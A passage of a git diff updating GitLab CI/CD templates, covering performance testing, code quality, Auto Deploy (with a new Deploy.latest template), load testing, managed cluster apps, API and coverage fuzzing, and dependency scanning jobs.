- - template: Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
- - template: Jobs/Browser-Performance-Testing.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
- - template: Security/DAST.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
- - template: Security/Container-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
- - template: Security/Dependency-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
- - template: Security/License-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
- - template: Security/SAST.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
- - template: Security/Secret-Detection.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
+ - template: Jobs/Build.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
+ - template: Jobs/Test.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml
+ - template: Jobs/Code-Quality.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+ - template: Jobs/Deploy.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
+ - template: Jobs/Deploy/ECS.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml
+ - template: Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
+ - template: Jobs/Browser-Performance-Testing.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
+ - template: Security/DAST.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+ - template: Security/Dependency-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+ - template: Security/License-Scanning.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
+ - template: Security/SAST.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
+ - template: Security/Secret-Detection.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
diff --git a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
index 8553a940bd7..5edb26a0b56 100644
--- a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
@@ -7,7 +7,7 @@ performance:
variables:
DOCKER_TLS_CERTDIR: ""
SITESPEED_IMAGE: sitespeedio/sitespeed.io
- SITESPEED_VERSION: 13.3.0
+ SITESPEED_VERSION: 14.1.0
SITESPEED_OPTIONS: ''
services:
- docker:19.03.12-dind
@@ -20,15 +20,15 @@ performance:
fi
- export CI_ENVIRONMENT_URL=$(cat environment_url.txt)
- mkdir gitlab-exporter
- - wget -O gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.0.1/index.js
+ - wget -O gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- |
if [ -f .gitlab-urls.txt ]
then
sed -i -e 's@^@'"$CI_ENVIRONMENT_URL"'@' .gitlab-urls.txt
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --outputFolder sitespeed-results .gitlab-urls.txt $SITESPEED_OPTIONS
+ docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results .gitlab-urls.txt $SITESPEED_OPTIONS
else
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --outputFolder sitespeed-results "$CI_ENVIRONMENT_URL" $SITESPEED_OPTIONS
+ docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results "$CI_ENVIRONMENT_URL" $SITESPEED_OPTIONS
fi
- mv sitespeed-results/data/performance.json browser-performance.json
artifacts:
diff --git a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
index cf851c875ee..568ceceeaa2 100644
--- a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
@@ -9,6 +9,8 @@ code_quality:
DOCKER_TLS_CERTDIR: ""
CODE_QUALITY_IMAGE: "registry.gitlab.com/gitlab-org/ci-cd/codequality:0.85.10-gitlab.1"
needs: []
+ before_script:
+ - export SOURCE_CODE=$PWD
script:
- |
if ! docker info &>/dev/null; then
@@ -16,11 +18,27 @@ code_quality:
export DOCKER_HOST='tcp://localhost:2375'
fi
fi
+ - | # this is required to avoid undesirable reset of Docker image ENV variables being set on build stage
+ function propagate_env_vars() {
+ CURRENT_ENV=$(printenv)
+
+ for VAR_NAME; do
+ echo $CURRENT_ENV | grep "${VAR_NAME}=" > /dev/null && echo "--env $VAR_NAME "
+ done
+ }
- docker pull --quiet "$CODE_QUALITY_IMAGE"
- - docker run
- --env SOURCE_CODE="$PWD"
- --volume "$PWD":/code
- --volume /var/run/docker.sock:/var/run/docker.sock
+ - |
+ docker run \
+ $(propagate_env_vars \
+ SOURCE_CODE \
+ TIMEOUT_SECONDS \
+ CODECLIMATE_DEBUG \
+ CODECLIMATE_DEV \
+ REPORT_STDOUT \
+ ENGINE_MEMORY_LIMIT_BYTES \
+ ) \
+ --volume "$PWD":/code \
+ --volume /var/run/docker.sock:/var/run/docker.sock \
"$CODE_QUALITY_IMAGE" /code
artifacts:
reports:
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
index 2922e1c6e88..829fd7a722f 100644
--- a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
@@ -2,9 +2,6 @@
image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.3"
dependencies: []
-include:
- - template: Jobs/Deploy/ECS.gitlab-ci.yml
-
review:
extends: .auto-deploy
stage: review
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
new file mode 100644
index 00000000000..829fd7a722f
--- /dev/null
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
@@ -0,0 +1,249 @@
+.auto-deploy:
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.3"
+ dependencies: []
+
+review:
+ extends: .auto-deploy
+ stage: review
+ script:
+ - auto-deploy check_kube_domain
+ - auto-deploy download_chart
+ - auto-deploy ensure_namespace
+ - auto-deploy initialize_tiller
+ - auto-deploy create_secret
+ - auto-deploy deploy
+ - auto-deploy persist_environment_url
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ url: http://$CI_PROJECT_ID-$CI_ENVIRONMENT_SLUG.$KUBE_INGRESS_BASE_DOMAIN
+ on_stop: stop_review
+ artifacts:
+ paths: [environment_url.txt, tiller.log]
+ when: always
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$CI_COMMIT_BRANCH == "master"'
+ when: never
+ - if: '$REVIEW_DISABLED'
+ when: never
+ - if: '$CI_COMMIT_TAG || $CI_COMMIT_BRANCH'
+
+stop_review:
+ extends: .auto-deploy
+ stage: cleanup
+ variables:
+ GIT_STRATEGY: none
+ script:
+ - auto-deploy initialize_tiller
+ - auto-deploy delete
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ action: stop
+ allow_failure: true
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$CI_COMMIT_BRANCH == "master"'
+ when: never
+ - if: '$REVIEW_DISABLED'
+ when: never
+ - if: '$CI_COMMIT_TAG || $CI_COMMIT_BRANCH'
+ when: manual
+
+# Staging deploys are disabled by default since
+# continuous deployment to production is enabled by default
+# If you prefer to automatically deploy to staging and
+# only manually promote to production, enable this job by setting
+# STAGING_ENABLED.
+
+staging:
+ extends: .auto-deploy
+ stage: staging
+ script:
+ - auto-deploy check_kube_domain
+ - auto-deploy download_chart
+ - auto-deploy ensure_namespace
+ - auto-deploy initialize_tiller
+ - auto-deploy create_secret
+ - auto-deploy deploy
+ environment:
+ name: staging
+ url: http://$CI_PROJECT_PATH_SLUG-staging.$KUBE_INGRESS_BASE_DOMAIN
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$CI_COMMIT_BRANCH != "master"'
+ when: never
+ - if: '$STAGING_ENABLED'
+
+# Canaries are disabled by default, but if you want them,
+# and know what the downsides are, you can enable this by setting
+# CANARY_ENABLED.
+
+canary:
+ extends: .auto-deploy
+ stage: canary
+ allow_failure: true
+ script:
+ - auto-deploy check_kube_domain
+ - auto-deploy download_chart
+ - auto-deploy ensure_namespace
+ - auto-deploy initialize_tiller
+ - auto-deploy create_secret
+ - auto-deploy deploy canary
+ environment:
+ name: production
+ url: http://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$CI_COMMIT_BRANCH != "master"'
+ when: never
+ - if: '$CANARY_ENABLED'
+ when: manual
+
+.production: &production_template
+ extends: .auto-deploy
+ stage: production
+ script:
+ - auto-deploy check_kube_domain
+ - auto-deploy download_chart
+ - auto-deploy ensure_namespace
+ - auto-deploy initialize_tiller
+ - auto-deploy create_secret
+ - auto-deploy deploy
+ - auto-deploy delete canary
+ - auto-deploy delete rollout
+ - auto-deploy persist_environment_url
+ environment:
+ name: production
+ url: http://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN
+ artifacts:
+ paths: [environment_url.txt, tiller.log]
+ when: always
+
+production:
+ <<: *production_template
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$STAGING_ENABLED'
+ when: never
+ - if: '$CANARY_ENABLED'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_ENABLED'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_MODE'
+ when: never
+ - if: '$CI_COMMIT_BRANCH == "master"'
+
+production_manual:
+ <<: *production_template
+ allow_failure: false
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_ENABLED'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_MODE'
+ when: never
+ - if: '$CI_COMMIT_BRANCH == "master" && $STAGING_ENABLED'
+ when: manual
+ - if: '$CI_COMMIT_BRANCH == "master" && $CANARY_ENABLED'
+ when: manual
+
+# This job implements incremental rollout on for every push to `master`.
+
+.rollout: &rollout_template
+ extends: .auto-deploy
+ script:
+ - auto-deploy check_kube_domain
+ - auto-deploy download_chart
+ - auto-deploy ensure_namespace
+ - auto-deploy initialize_tiller
+ - auto-deploy create_secret
+ - auto-deploy deploy rollout $ROLLOUT_PERCENTAGE
+ - auto-deploy scale stable $((100-ROLLOUT_PERCENTAGE))
+ - auto-deploy delete canary
+ - auto-deploy persist_environment_url
+ environment:
+ name: production
+ url: http://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN
+ artifacts:
+ paths: [environment_url.txt, tiller.log]
+ when: always
+
+.manual_rollout_template: &manual_rollout_template
+ <<: *rollout_template
+ stage: production
+ resource_group: production
+ allow_failure: true
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_MODE == "timed"'
+ when: never
+ - if: '$CI_COMMIT_BRANCH != "master"'
+ when: never
+ # $INCREMENTAL_ROLLOUT_ENABLED is for compamtibilty with pre-GitLab 11.4 syntax
+ - if: '$INCREMENTAL_ROLLOUT_MODE == "manual" || $INCREMENTAL_ROLLOUT_ENABLED'
+ when: manual
+
+.timed_rollout_template: &timed_rollout_template
+ <<: *rollout_template
+ rules:
+ - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == ""'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_MODE == "manual"'
+ when: never
+ - if: '$CI_COMMIT_BRANCH != "master"'
+ when: never
+ - if: '$INCREMENTAL_ROLLOUT_MODE == "timed"'
+ when: delayed
+ start_in: 5 minutes
+
+timed rollout 10%:
+ <<: *timed_rollout_template
+ stage: incremental rollout 10%
+ variables:
+ ROLLOUT_PERCENTAGE: 10
+
+timed rollout 25%:
+ <<: *timed_rollout_template
+ stage: incremental rollout 25%
+ variables:
+ ROLLOUT_PERCENTAGE: 25
+
+timed rollout 50%:
+ <<: *timed_rollout_template
+ stage: incremental rollout 50%
+ variables:
+ ROLLOUT_PERCENTAGE: 50
+
+timed rollout 100%:
+ <<: *timed_rollout_template
+ <<: *production_template
+ stage: incremental rollout 100%
+ variables:
+ ROLLOUT_PERCENTAGE: 100
+
+rollout 10%:
+ <<: *manual_rollout_template
+ variables:
+ ROLLOUT_PERCENTAGE: 10
+
+rollout 25%:
+ <<: *manual_rollout_template
+ variables:
+ ROLLOUT_PERCENTAGE: 25
+
+rollout 50%:
+ <<: *manual_rollout_template
+ variables:
+ ROLLOUT_PERCENTAGE: 50
+
+rollout 100%:
+ <<: *manual_rollout_template
+ <<: *production_template
+ allow_failure: false
diff --git a/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml
index 4a9849c85c9..9a7c513c25f 100644
--- a/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml
@@ -8,6 +8,7 @@ load_performance:
K6_VERSION: 0.27.0
K6_TEST_FILE: github.com/loadimpact/k6/samples/http_get.js
K6_OPTIONS: ''
+ K6_DOCKER_OPTIONS: ''
services:
- docker:19.03.11-dind
script:
@@ -17,7 +18,7 @@ load_performance:
export DOCKER_HOST='tcp://localhost:2375'
fi
fi
- - docker run --rm -v "$(pwd)":/k6 -w /k6 $K6_IMAGE:$K6_VERSION run $K6_TEST_FILE --summary-export=load-performance.json $K6_OPTIONS
+ - docker run --rm -v "$(pwd)":/k6 -w /k6 $K6_DOCKER_OPTIONS $K6_IMAGE:$K6_VERSION run $K6_TEST_FILE --summary-export=load-performance.json $K6_OPTIONS
artifacts:
reports:
load_performance: load-performance.json
diff --git a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
index 3d0bacda853..7050b41e045 100644
--- a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
@@ -1,27 +1,11 @@
apply:
stage: deploy
- image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.24.2"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.29.0"
environment:
name: production
variables:
TILLER_NAMESPACE: gitlab-managed-apps
GITLAB_MANAGED_APPS_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/config.yaml
- INGRESS_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/ingress/values.yaml
- CERT_MANAGER_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/cert-manager/values.yaml
- SENTRY_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/sentry/values.yaml
- GITLAB_RUNNER_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/gitlab-runner/values.yaml
- CILIUM_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/cilium/values.yaml
- CILIUM_HUBBLE_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/cilium/hubble-values.yaml
- JUPYTERHUB_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/jupyterhub/values.yaml
- PROMETHEUS_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/prometheus/values.yaml
- ELASTIC_STACK_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/elastic-stack/values.yaml
- VAULT_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/vault/values.yaml
- CROSSPLANE_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/crossplane/values.yaml
- FLUENTD_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/fluentd/values.yaml
- KNATIVE_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/knative/values.yaml
- POSTHOG_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/posthog/values.yaml
- FALCO_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/falco/values.yaml
- APPARMOR_VALUES_FILE: $CI_PROJECT_DIR/.gitlab/managed-apps/apparmor/values.yaml
script:
- gitlab-managed-apps /usr/local/share/gitlab-managed-apps/helmfile.yaml
only:
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
index e87f0f28d01..c3a92b67a8b 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
@@ -37,9 +37,6 @@ apifuzzer_fuzz:
$FUZZAPI_OPENAPI == null &&
$FUZZAPI_D_WORKER_IMAGE == null
when: never
- - if: $FUZZAPI_D_WORKER_IMAGE == null &&
- $FUZZAPI_TARGET_URL == null
- when: never
- if: $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
services:
- docker:19.03.12-dind
@@ -74,13 +71,15 @@ apifuzzer_fuzz:
-e FUZZAPI_TIMEOUT \
-e FUZZAPI_VERBOSE \
-e FUZZAPI_SERVICE_START_TIMEOUT \
+ -e FUZZAPI_HTTP_USERNAME \
+ -e FUZZAPI_HTTP_PASSWORD \
-e GITLAB_FEATURES \
-v $CI_PROJECT_DIR:/app \
-p 80:80 \
-p 8000:8000 \
-p 514:514 \
--restart=no \
- registry.gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing-src:${FUZZAPI_VERSION}-engine
+ registry.gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing:${FUZZAPI_VERSION}-engine
#
# Start target container
- |
@@ -119,6 +118,9 @@ apifuzzer_fuzz:
# Wait for testing to complete if api fuzzer is scanning
- if [ "$FUZZAPI_HAR$FUZZAPI_OPENAPI" != "" ]; then echo "Waiting for API Fuzzer to exit"; docker wait apifuzzer; fi
#
+ # Propagate exit code from api fuzzer (if any)
+ - if [[ $(docker inspect apifuzzer --format='{{.State.ExitCode}}') != "0" ]]; then echo "API Fuzzing exited with an error. Logs are available as job artifacts."; docker logs apifuzzer; exit 1; fi
+ #
# Run user provided pre-script
- sh -c "$FUZZAPI_POST_SCRIPT"
#
diff --git a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
index 3f47e575afd..4b957a8f771 100644
--- a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
@@ -34,5 +34,5 @@ variables:
rules:
- if: $COVFUZZ_DISABLED
when: never
- - if: $GITLAB_FEATURES =~ /\bcoverage_fuzzing\b/
+ - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bcoverage_fuzzing\b/
- if: $CI_RUNNER_EXECUTABLE_ARCH == "linux"
diff --git a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
index d5275c57ef8..3789f0edc1c 100644
--- a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
@@ -12,81 +12,24 @@ variables:
DS_DEFAULT_ANALYZERS: "bundler-audit, retire.js, gemnasium, gemnasium-maven, gemnasium-python"
DS_EXCLUDED_PATHS: "spec, test, tests, tmp"
DS_MAJOR_VERSION: 2
- DS_DISABLE_DIND: "true"
dependency_scanning:
stage: test
- image: docker:stable
- variables:
- DOCKER_DRIVER: overlay2
- DOCKER_TLS_CERTDIR: ""
- allow_failure: true
- services:
- - docker:stable-dind
script:
- - |
- if ! docker info &>/dev/null; then
- if [ -z "$DOCKER_HOST" -a "$KUBERNETES_PORT" ]; then
- export DOCKER_HOST='tcp://localhost:2375'
- fi
- fi
- - | # this is required to avoid undesirable reset of Docker image ENV variables being set on build stage
- function propagate_env_vars() {
- CURRENT_ENV=$(printenv)
-
- for VAR_NAME; do
- echo $CURRENT_ENV | grep "${VAR_NAME}=" > /dev/null && echo "--env $VAR_NAME "
- done
- }
- - |
- docker run \
- $(propagate_env_vars \
- DS_ANALYZER_IMAGES \
- SECURE_ANALYZERS_PREFIX \
- DS_ANALYZER_IMAGE_TAG \
- DS_DEFAULT_ANALYZERS \
- DS_EXCLUDED_PATHS \
- DS_DOCKER_CLIENT_NEGOTIATION_TIMEOUT \
- DS_PULL_ANALYZER_IMAGE_TIMEOUT \
- DS_RUN_ANALYZER_TIMEOUT \
- DS_PYTHON_VERSION \
- DS_PIP_VERSION \
- DS_PIP_DEPENDENCY_PATH \
- DS_JAVA_VERSION \
- GEMNASIUM_DB_LOCAL_PATH \
- GEMNASIUM_DB_REMOTE_URL \
- GEMNASIUM_DB_REF_NAME \
- PIP_INDEX_URL \
- PIP_EXTRA_INDEX_URL \
- PIP_REQUIREMENTS_FILE \
- MAVEN_CLI_OPTS \
- GRADLE_CLI_OPTS \
- SBT_CLI_OPTS \
- BUNDLER_AUDIT_UPDATE_DISABLED \
- BUNDLER_AUDIT_ADVISORY_DB_URL \
- BUNDLER_AUDIT_ADVISORY_DB_REF_NAME \
- RETIREJS_JS_ADVISORY_DB \
- RETIREJS_NODE_ADVISORY_DB \
- DS_REMEDIATE \
- ) \
- --volume "$PWD:/code" \
- --volume /var/run/docker.sock:/var/run/docker.sock \
- "registry.gitlab.com/gitlab-org/security-products/dependency-scanning:$DS_MAJOR_VERSION" /code
+ - echo "$CI_JOB_NAME is used for configuration only, and its script should not be executed"
+ - exit 1
artifacts:
reports:
dependency_scanning: gl-dependency-scanning-report.json
dependencies: []
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'true'
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bdependency_scanning\b/
+ - when: never
.ds-analyzer:
extends: dependency_scanning
- services: []
+ allow_failure: true
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/
@@ -96,9 +39,11 @@ dependency_scanning:
gemnasium-dependency_scanning:
extends: .ds-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/gemnasium:$DS_MAJOR_VERSION"
+ name: "$DS_ANALYZER_IMAGE"
+ variables:
+ DS_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gemnasium:$DS_MAJOR_VERSION"
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/ &&
@@ -112,13 +57,16 @@ gemnasium-dependency_scanning:
- '{package-lock.json,*/package-lock.json,*/*/package-lock.json}'
- '{yarn.lock,*/yarn.lock,*/*/yarn.lock}'
- '{packages.lock.json,*/packages.lock.json,*/*/packages.lock.json}'
+ - '{conan.lock,*/conan.lock,*/*/conan.lock}'
gemnasium-maven-dependency_scanning:
extends: .ds-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/gemnasium-maven:$DS_MAJOR_VERSION"
+ name: "$DS_ANALYZER_IMAGE"
+ variables:
+ DS_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gemnasium-maven:$DS_MAJOR_VERSION"
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/ &&
@@ -132,9 +80,11 @@ gemnasium-maven-dependency_scanning:
gemnasium-python-dependency_scanning:
extends: .ds-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/gemnasium-python:$DS_MAJOR_VERSION"
+ name: "$DS_ANALYZER_IMAGE"
+ variables:
+ DS_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gemnasium-python:$DS_MAJOR_VERSION"
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/ &&
@@ -155,9 +105,11 @@ gemnasium-python-dependency_scanning:
bundler-audit-dependency_scanning:
extends: .ds-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/bundler-audit:$DS_MAJOR_VERSION"
+ name: "$DS_ANALYZER_IMAGE"
+ variables:
+ DS_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/bundler-audit:$DS_MAJOR_VERSION"
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/ &&
@@ -168,9 +120,11 @@ bundler-audit-dependency_scanning:
retire-js-dependency_scanning:
extends: .ds-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/retire.js:$DS_MAJOR_VERSION"
+ name: "$DS_ANALYZER_IMAGE"
+ variables:
+ DS_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/retire.js:$DS_MAJOR_VERSION"
rules:
- - if: $DEPENDENCY_SCANNING_DISABLED || $DS_DISABLE_DIND == 'false'
+ - if: $DEPENDENCY_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$GITLAB_FEATURES =~ /\bdependency_scanning\b/ &&
diff --git a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
index 6eb17341472..77ea11d01d1 100644
--- a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
@@ -9,48 +9,29 @@ variables:
# (SAST, Dependency Scanning, ...)
